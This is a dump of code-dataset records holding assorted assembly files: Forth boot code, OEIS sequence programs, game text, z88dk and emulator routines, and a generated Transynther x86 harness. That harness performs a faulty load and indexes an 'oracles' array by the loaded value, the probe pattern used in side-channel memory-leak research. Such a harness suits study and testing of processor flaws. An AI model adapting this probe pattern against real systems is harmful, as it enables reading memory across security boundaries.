hexsha
stringlengths 40
40
| size
int64 6
1.05M
| ext
stringclasses 3
values | lang
stringclasses 1
value | max_stars_repo_path
stringlengths 4
232
| max_stars_repo_name
stringlengths 7
106
| max_stars_repo_head_hexsha
stringlengths 40
40
| max_stars_repo_licenses
listlengths 1
7
| max_stars_count
int64 1
33.5k
⌀ | max_stars_repo_stars_event_min_datetime
stringlengths 24
24
⌀ | max_stars_repo_stars_event_max_datetime
stringlengths 24
24
⌀ | max_issues_repo_path
stringlengths 4
232
| max_issues_repo_name
stringlengths 7
106
| max_issues_repo_head_hexsha
stringlengths 40
40
| max_issues_repo_licenses
listlengths 1
7
| max_issues_count
int64 1
37.5k
⌀ | max_issues_repo_issues_event_min_datetime
stringlengths 24
24
⌀ | max_issues_repo_issues_event_max_datetime
stringlengths 24
24
⌀ | max_forks_repo_path
stringlengths 4
232
| max_forks_repo_name
stringlengths 7
106
| max_forks_repo_head_hexsha
stringlengths 40
40
| max_forks_repo_licenses
listlengths 1
7
| max_forks_count
int64 1
12.6k
⌀ | max_forks_repo_forks_event_min_datetime
stringlengths 24
24
⌀ | max_forks_repo_forks_event_max_datetime
stringlengths 24
24
⌀ | content
stringlengths 6
1.05M
| avg_line_length
float64 1.16
19.7k
| max_line_length
int64 2
938k
| alphanum_fraction
float64 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d0fc4c087f3b2920a6a43685a1ddf64249bc7c24
| 1,271
|
asm
|
Assembly
|
bootdict/x86/main-proc.asm
|
ikysil/ikforth
|
165e049fc007003cd05f59332dc856d553d8aac8
|
[
"Unlicense"
] | 8
|
2017-08-03T08:49:06.000Z
|
2021-12-17T12:02:19.000Z
|
bootdict/x86/main-proc.asm
|
clstrfsck/ikforth
|
165e049fc007003cd05f59332dc856d553d8aac8
|
[
"Unlicense"
] | 58
|
2016-04-21T20:03:54.000Z
|
2022-01-16T00:40:50.000Z
|
bootdict/x86/main-proc.asm
|
clstrfsck/ikforth
|
165e049fc007003cd05f59332dc856d553d8aac8
|
[
"Unlicense"
] | 1
|
2018-07-25T21:07:00.000Z
|
2018-07-25T21:07:00.000Z
|
START:
; typedef struct _MainProcContext {
; int argc;
; char const ** argv;
; char const ** envp;
; char const * startFileName;
; int startFileNameLength;
; int const * exitCode;
; void const ** sysfunctions;
; } MainProcContext;
;
; typedef void __stdcall (* MainProc)(MainProcContext *);
$STDCALL_SAVE
MOV ESI,[EBP + 8] ; get address of MainProcContext
MOV EBX,IMAGE_BASE
CLD
LEA EDI,[EBX + ARGC_VAR]
MOVSD
LEA EDI,[EBX + ARGV_VAR]
MOVSD
LEA EDI,[EBX + ENVP_VAR]
MOVSD
LEA EDI,[EBX + SF_VAR]
MOVSD
LEA EDI,[EBX + HASH_SF_VAR]
MOVSD
LEA EDI,[EBX + EXIT_CODE_VAR]
MOVSD
LEA EDI,[EBX + FUNC_TABLE_VAR]
MOVSD
MOV EAX,DWORD [EBX + MAIN_PROC_VAR]
PUSH EAX
PUSH F_FALSE
PUSH 0
$CSYSCALL START_THREAD
$STDCALL_RESTORE
RET
| 33.447368
| 74
| 0.415421
|
612456688dfd74da3ed4ce50e972e6beddfec8aa
| 6,750
|
asm
|
Assembly
|
existence/test.asm
|
ekscrypto/Unununium
|
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
|
[
"BSD-2-Clause"
] | 7
|
2019-03-04T08:53:33.000Z
|
2022-01-28T19:32:12.000Z
|
existence/test.asm
|
ekscrypto/Unununium
|
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
|
[
"BSD-2-Clause"
] | null | null | null |
existence/test.asm
|
ekscrypto/Unununium
|
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
|
[
"BSD-2-Clause"
] | null | null | null |
; This cell allow you to perform some tests.
;
; Each section is documented, if you have any question, make sure to consult
; the documentation section of our website at http://uuu.sourceforge.net/
;
; Have fun!
[bits 32]
section .c_info
;------------
; This section is used to give the version number, the cell name, author and
; copyrights information. Some distros will parse this information and build
; up a database of the currently loaded cells in the system while some other
; distros will simply read this information and discard it.
; version:
db 1,0,0,'a'
;---------
; The version is a 4 bytes combination.
; offset 0: high version number
; 1: mid version number
; 2: low version number
; 3: revision indicator
; ptr to cell's name
dd str_cellname
;------------
; This is a pointer to the string that gives the name and sometime a very
; short description of the cell. This string is encoded in UTF-8 and should
; really be kept as short as possible since it's the string that will be used
; when a list of all the cells is requested.
; ptr to author's name
dd str_author
;----------
; This is a pionter to the string that gives the author's name or the group's
; name. This string is encoded in UTF-8. Some ppl might want to coma
; separate a list of authors when many have contributed to the work.
; ptr to copyrights
dd str_copyrights
;--------------
; This is a pointer to the string containing the copyrights information. This
; string, like the others, is encoded in UTF-8. It is possible but not
; recommended to use this string to hold the entire copyrights license. A
; much more desirable option would be to give an Internet URI to the license
; with the license name.
str_cellname: db "Test cell - for learning purposes",0
;---------------------------------------------------
; This string gives the name and a very short description of this cell. It is
; encoded in UTF-8, which preserve/uses the standard US-ASCII character set.
str_author: db "EKS - Dave Poirier (futur@mad.scientist.com)",0
;------------------------------------------------------------
; This string is used to hold a list of authors. If many authors have
; collaborated on the work and desire to be included, it is possible to
; include more names by coma separating each entry. This is also encoded
; using UTF-8.
str_copyrights: db "Not copyrighted",0
;-----------------------------------
; This string hold the copyright notice or copyright license's name. Some
; people might want to include the entire copyrights license here but it is a
; unrecommended behaviour. As suggested earlier, an internet URI to the entire
; license would be more recommendable.
section .c_onetime_init
;--------------------
; This section contain specific initialization instructions that will be
; executed once and discarded, the cell being saved back, if possible, with
; the modified content.
clc
retn
section .c_init
;------------
; This section contain specific initialization instructions that will be
; executed once and discarded every time the cell is loaded in memory.
; xor edx, edx
; externfunc tsa.acquire_thread
; push eax
; push control_function_2
; externfunc tsa.set_initial_values
; externfunc ps.schedule
; pop eax
; pop eax
xor edx, edx
externfunc tsa.acquire_thread
push eax
push control_function_1
externfunc tsa.set_initial_values
externfunc ps.schedule
pop eax
pop eax
clc
retn
section .text
;----------
; This section '.text' is a special section recognized by most tools as being
; a section containing executable code and optionally read-only data.
;
; The U3Linker and the various cells will treat any name not starting with
; a dot exactly the same as a '.text' section. The difference being that
; in our system, a '.text' section may contain not only executable code and
; read-only data, but also read-write data.
thread1:
inc dword [0xB81E0]
jmp thread1
thread2:
inc dword [0xB8140]
jmp thread2
align 64, db 0
test_function_1:
test ecx, 0x0000000F
jz .failed
retn 4
.failed:
pop ebp
pop eax
jmp [eax]
align 64, db 0
test_function_2:
test ecx, 0x0000000F
jz .failed
clc
retn
.failed:
stc
retn
align 64, db 0
control_function_1:
cli
mov [0xB809E], byte 0x31
rdtsc
push edx
push eax
mov ecx, 20000000
.test_loop:
push dword .alternates
call test_function_1
inc dword [0xB8000]
loop .test_loop
jmp .results
.failed:
inc dword [0xB8010]
loop .test_loop
.results:
rdtsc
pop ebx
pop ecx
sub eax, ebx
sbb edx, ecx
add [cummulative_1], eax
adc [cummulative_1 + 4], edx
mov ebx, edx
mov edi, 0xB80A0
call display_ebx_at_edi
add edi, 16
mov [edi], byte ':'
mov [edi+1], byte 0x07
add edi, 2
mov ebx, eax
call display_ebx_at_edi
mov eax, [cummulative_1]
mov edx, [cummulative_1 + 4]
mov ebx, edx
mov edi, 0xB81E0
call display_ebx_at_edi
add edi, 16
mov [edi], byte ':'
mov [edi+1], byte 0x07
add edi, 2
mov ebx, eax
call display_ebx_at_edi
jmp control_function_2
align 4, db 0
.alternates: dd .failed, 0
align 64, db 0
control_function_2:
mov [0xB809E], byte 0x32
rdtsc
push edx
push eax
mov ecx, 20000000
.test_loop:
call test_function_2
jc .failed
inc dword [0xB8000]
loop .test_loop
jmp .results
.failed:
inc dword [0xB8010]
loop .test_loop
.results:
rdtsc
pop ebx
pop ecx
sub eax, ebx
sbb edx, ecx
add dword [cummulative_2], eax
adc dword [cummulative_2 + 4], edx
mov ebx, edx
mov edi, 0xB80D0
call display_ebx_at_edi
add edi, 16
mov [edi], byte ':'
mov [edi+1], byte 0x07
add edi, 2
mov ebx, eax
call display_ebx_at_edi
mov eax, [cummulative_2]
mov edx, [cummulative_2 + 4]
mov ebx, edx
mov edi, 0xB8210
call display_ebx_at_edi
add edi, 16
mov [edi], byte ':'
mov [edi+1], byte 0x07
add edi, 2
mov ebx, eax
call display_ebx_at_edi
mov eax, [cummulative_1]
mov edx, [cummulative_1 + 4]
sub eax, [cummulative_2]
sbb edx, [cummulative_2 + 4]
mov ebx, edx
mov edi, 0xB8240
call display_ebx_at_edi
add edi, 16
mov [edi], byte ':'
mov [edi+1], byte 0x07
add edi, 2
mov ebx, eax
call display_ebx_at_edi
jmp control_function_1
display_ebx_at_edi:
pushad
mov ecx, 4
mov esi, hex_digits
xor edx, edx
.display_reg:
mov ah, 0x07
mov dl, bl
and dl, 0x0F
mov al, [esi + edx]
shl eax, 16
mov ah, 0x07
mov dl, bl
shr dl, 4
mov al, [esi + edx]
shr ebx, 8
dec ecx
mov [ecx*4 + edi], eax
jnz .display_reg
popad
retn
hex_digits: db '0123456789ABCDEF'
cummulative_1:
dd 0,0
cummulative_2:
dd 0,0
| 23.275862
| 80
| 0.680741
|
ce3f6824c74a58bc314cef29b5c358384d65c915
| 361
|
asm
|
Assembly
|
text/maps/Route22Gate.asm
|
AmateurPanda92/pokemon-rby-dx
|
f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9
|
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
text/maps/Route22Gate.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7
|
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
text/maps/Route22Gate.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2
|
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
_Route22GateText_1e704::
text "Only truly skilled"
line "trainers are"
cont "allowed through."
para "You don't have the"
line "BOULDERBADGE yet!@@"
_Route22GateText_1e715::
text ""
para "The rules are"
line "rules. I can't"
cont "let you pass."
done
_Route22GateText_1e71a::
text "Oh! That is the"
line "BOULDERBADGE!"
cont "Go right ahead!@@"
| 17.190476
| 27
| 0.703601
|
72105b7ac21e5bc0b2807180451f209b898d40c3
| 464
|
asm
|
Assembly
|
oeis/193/A193658.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/193/A193658.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/193/A193658.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A193658: Q-residue of the triangle A051162, where Q is the triangular array (t(i,j)) given by t(i,j)=1. (See Comments.)
; Submitted by Jon Maiga
; 1,1,3,15,83,503,3403,25807,218451,2049687,21160667,238690847,2923054435,38641535143,548635554795,8328494925615,134634766604915,2309386642312631,41897258229334267,801610384425038911,16132033041827096451
lpb $0
sub $0,1
add $3,$1
add $3,$2
add $1,$3
mul $1,2
add $2,1
mul $3,$0
lpe
mov $0,$1
add $0,1
| 29
| 203
| 0.728448
|
3f4497cf7223ea50f45c04c9a4161d475ebe24ef
| 7,011
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2743.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2743.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2743.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xc5dd, %r9
nop
add $4522, %r15
movw $0x6162, (%r9)
nop
cmp $11080, %rbp
lea addresses_WC_ht+0x154c5, %r8
nop
nop
nop
sub %rbp, %rbp
mov $0x6162636465666768, %r14
movq %r14, %xmm4
and $0xffffffffffffffc0, %r8
movaps %xmm4, (%r8)
nop
cmp $27768, %rax
lea addresses_normal_ht+0x119d, %r15
sub %r14, %r14
mov $0x6162636465666768, %rax
movq %rax, (%r15)
nop
nop
and %rax, %rax
lea addresses_UC_ht+0x999d, %r8
nop
cmp %rdx, %rdx
movb $0x61, (%r8)
nop
xor %r8, %r8
lea addresses_D_ht+0x1e8bc, %rbp
nop
dec %r8
mov $0x6162636465666768, %r9
movq %r9, %xmm1
and $0xffffffffffffffc0, %rbp
vmovntdq %ymm1, (%rbp)
nop
nop
nop
xor %r8, %r8
lea addresses_normal_ht+0x591d, %r8
nop
nop
nop
dec %r14
vmovups (%r8), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdx
nop
nop
nop
nop
dec %rbp
lea addresses_UC_ht+0xf99d, %r14
nop
cmp %r8, %r8
movl $0x61626364, (%r14)
nop
nop
and $57133, %rax
lea addresses_WC_ht+0xdc2b, %r9
xor %rbp, %rbp
mov $0x6162636465666768, %r15
movq %r15, %xmm5
movups %xmm5, (%r9)
add $60586, %rdx
lea addresses_WT_ht+0x119d, %rsi
lea addresses_UC_ht+0x1a3b0, %rdi
clflush (%rdi)
nop
nop
and $20936, %rax
mov $16, %rcx
rep movsl
nop
nop
nop
nop
nop
sub $25666, %r15
lea addresses_UC_ht+0x1d39d, %rax
nop
nop
nop
nop
xor %rbp, %rbp
movb (%rax), %r9b
nop
nop
nop
nop
xor $12871, %r15
lea addresses_WC_ht+0x18e99, %rsi
nop
nop
nop
cmp $31581, %r9
movl $0x61626364, (%rsi)
inc %r14
lea addresses_normal_ht+0x129c5, %rsi
lea addresses_WT_ht+0x651d, %rdi
and $13921, %rdx
mov $120, %rcx
rep movsq
nop
nop
nop
nop
cmp $46683, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %r9
push %rdx
push %rsi
// Faulty Load
lea addresses_WT+0x19d, %rdx
sub $4598, %r13
movups (%rdx), %xmm6
vpextrq $1, %xmm6, %r9
lea oracles, %r13
and $0xff, %r9
shlq $12, %r9
mov (%r13,%r9,1), %r9
pop %rsi
pop %rdx
pop %r9
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 38.311475
| 2,999
| 0.658251
|
47354155a0ac6a0c50efa2c5c42cd7d9a274ac7b
| 1,777
|
asm
|
Assembly
|
programs/oeis/155/A155020.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/155/A155020.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/155/A155020.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A155020: a(n) = 2*a(n-1) + 2*a(n-2) for n>2, a(0)=1, a(1)=1, a(2)=3.
; 1,1,3,8,22,60,164,448,1224,3344,9136,24960,68192,186304,508992,1390592,3799168,10379520,28357376,77473792,211662336,578272256,1579869184,4316282880,11792304128,32217174016,88018956288,240472260608,656982433792,1794909388800,4903783645184,13397386067968,36602339426304,99999450988544,273203580829696,746406063636480,2039219288932352,5571250705137664,15220939988140032,41584381386555392,113610642749390848,310390048271892480,848001382042566656,2316782860628918272,6329568485342969856,17292702691943776256,47244542354573492224,129074490093034536960,352638064895216058368,963425109976501190656,2632126349743434498048,7191102919439871377408,19646458538366611750912,53675122915612966256640,146643162907959156015104,400636571647144244543488,1094559469110206801117184,2990392081514702091321344,8169903101249817784877056,22320590365529039752396800,60980986933557715074547712,166603154598173509653889024,455168283063462449456873472,1243542875323271918221524992,3397422316773468735356796928,9281930384193481307156643840,25358705401933900085026881536,69281271572254762784367050752,189279953948377325738787864576,517122451041264177046309830656,1412804809979283005570195390464,3859854522041094365233010442240,10545318664040754741606411665408,28810346372163698213678844215296,78711330072408905910570511761408,215043352889145208248498711953408,587509365923108228318138447429632,1605105437624506873133274318766080,4385229607095230202902825532391424,11980670089439474152072199702315008,32731799393069408709950050469412864,89424938965017765724044500343455744,244313476716174348867989101625737216,667476831362384229184067203938385920
add $0,1
seq $0,2605 ; a(n) = 2*(a(n-1) + a(n-2)), a(0) = 0, a(1) = 1.
max $0,2
div $0,2
| 222.125
| 1,615
| 0.899831
|
0cc90e6104f7e641da367acb8eb2d5f3d420e4bb
| 318
|
asm
|
Assembly
|
programs/oeis/021/A021036.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/021/A021036.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/021/A021036.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A021036: Decimal expansion of 1/32.
; 0,3,1,2,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
add $$0,4
add $0,1
mov $1,$0
add $4,2
mov $3,$4
add $$4,3
sub $3,1
mov $$3,$$0
| 26.5
| 199
| 0.525157
|
d6ba9b40681cd7a413b56caf3d350b840365cff4
| 850
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/z80/z80/asm_z80_set_int_state.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 38
|
2021-06-18T12:56:15.000Z
|
2022-03-12T20:38:40.000Z
|
libsrc/_DEVELOPMENT/z80/z80/asm_z80_set_int_state.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 2
|
2021-06-20T16:28:12.000Z
|
2021-11-17T21:33:56.000Z
|
libsrc/_DEVELOPMENT/z80/z80/asm_z80_set_int_state.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 6
|
2021-06-18T18:18:36.000Z
|
2021-12-22T08:01:32.000Z
|
; ===============================================================
; Stefano Bodrato
; ===============================================================
;
; void z80_set_int_state(unsigned int state)
;
; Set the ei/di status previously retrieved.
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_z80
PUBLIC asm_z80_set_int_state
PUBLIC asm_cpu_set_int_state
asm_z80_set_int_state:
asm_cpu_set_int_state:
; enter : l = ei/di status
;
; uses : f
IF __CPU_R2K__ | __CPU_R3K__
push hl
pop ip
inc sp
ret
ELSE
IF __Z80 & __Z80_NMOS
bit 0,l ; check carry flag
ELSE
bit 2,l ; check p/v flag
ENDIF
jr z, di_state
ei_state:
ei
ret
di_state:
di
ret
ENDIF
| 14.40678
| 65
| 0.48
|
e95511f47639056f16607a63a14435f66987b1b2
| 1,448
|
asm
|
Assembly
|
c64/emu_helper.asm
|
alexkazik/disk2easyflash
|
1ee3b54756cab104ad7a131576ad663dfde6436c
|
[
"0BSD"
] | 1
|
2021-04-08T05:41:41.000Z
|
2021-04-08T05:41:41.000Z
|
c64/emu_helper.asm
|
alexkazik/disk2easyflash
|
1ee3b54756cab104ad7a131576ad663dfde6436c
|
[
"0BSD"
] | null | null | null |
c64/emu_helper.asm
|
alexkazik/disk2easyflash
|
1ee3b54756cab104ad7a131576ad663dfde6436c
|
[
"0BSD"
] | null | null | null |
.pc = * "Helpers"
.if(!fast_load){
READ_BYTE: // TRASHES X!!
:if SMC_ADDR+2 ; EQ ; #[[BANK_START + BANK_SIZE] >> 8] ; ENDIF ; !endif+
// go to next bank
:mov #BANK_START>>8 ; SMC_ADDR+2
inc SMC_BANK+1
!endif:
ldx SMC_OUR_BANK+1
jsr RAM_READ_BYTE
:inc16 SMC_ADDR+1
:dec16 OPEN_SIZE_TODO ; X
rts
}
// temporary variables
.const FILENAME_LEN = $bf
FIND_FILE:
// requires that the filename is copied to FILENAME
// return C=error
// y=len of filename
ldy $b7
// check for empty filename
beq file_not_found
// if len > 16 chars: fail
:if Y ; GT ; #16 ; use_real_load
// find last non-space char
!loop:
dey
lda FILENAME, y
cmp #$20
beq !loop-
// remember length
iny
sty FILENAME_LEN
// find the entry
:mov16 #DIR-24 ; ENTRY_PTR
find_loop:
:add16_8 ENTRY_PTR ; #24
ldy #0
lda (ENTRY_PTR), y
beq file_not_found // EOF = file not found
!loop:
lda FILENAME, y
cmp #$2a // '*'
beq file_found // match (due to a *) -> found file
cmp (ENTRY_PTR), y
bne find_loop // mismatch -> next line
iny // next char
cpy FILENAME_LEN
bne !loop- // not at enf of name -> next char
cpy #16
beq !skip+
// found a file whith <16 chars -> check for \0 as next char in name
lda (ENTRY_PTR), y
bne find_loop // filenamelen mismatch
!skip:
file_found:
clc
rts
file_not_found:
sec
rts
RETURN_SUCCESS:
clc
:mov #$60 ; RETURN_COMMAND
jmp DISABLE_CRT
| 17.445783
| 74
| 0.639503
|
bff7dbb8628cc1f782957690dcf5805d3df05fae
| 205
|
asm
|
Assembly
|
tests/nasm/ret-imm.asm
|
brenden7158/v86
|
c9e274dc6e8cc619d1b36d57a69299aee6a45a91
|
[
"BSD-2-Clause"
] | 12,700
|
2015-01-04T15:03:42.000Z
|
2022-03-31T06:43:06.000Z
|
tests/nasm/ret-imm.asm
|
brenden7158/v86
|
c9e274dc6e8cc619d1b36d57a69299aee6a45a91
|
[
"BSD-2-Clause"
] | 566
|
2015-01-01T18:16:40.000Z
|
2022-03-31T19:59:10.000Z
|
tests/nasm/ret-imm.asm
|
brenden7158/v86
|
c9e274dc6e8cc619d1b36d57a69299aee6a45a91
|
[
"BSD-2-Clause"
] | 1,182
|
2015-01-05T09:20:48.000Z
|
2022-03-31T12:16:52.000Z
|
global _start
%include "header.inc"
jmp start
foo:
mov eax, esp
ret 123
start:
call foo
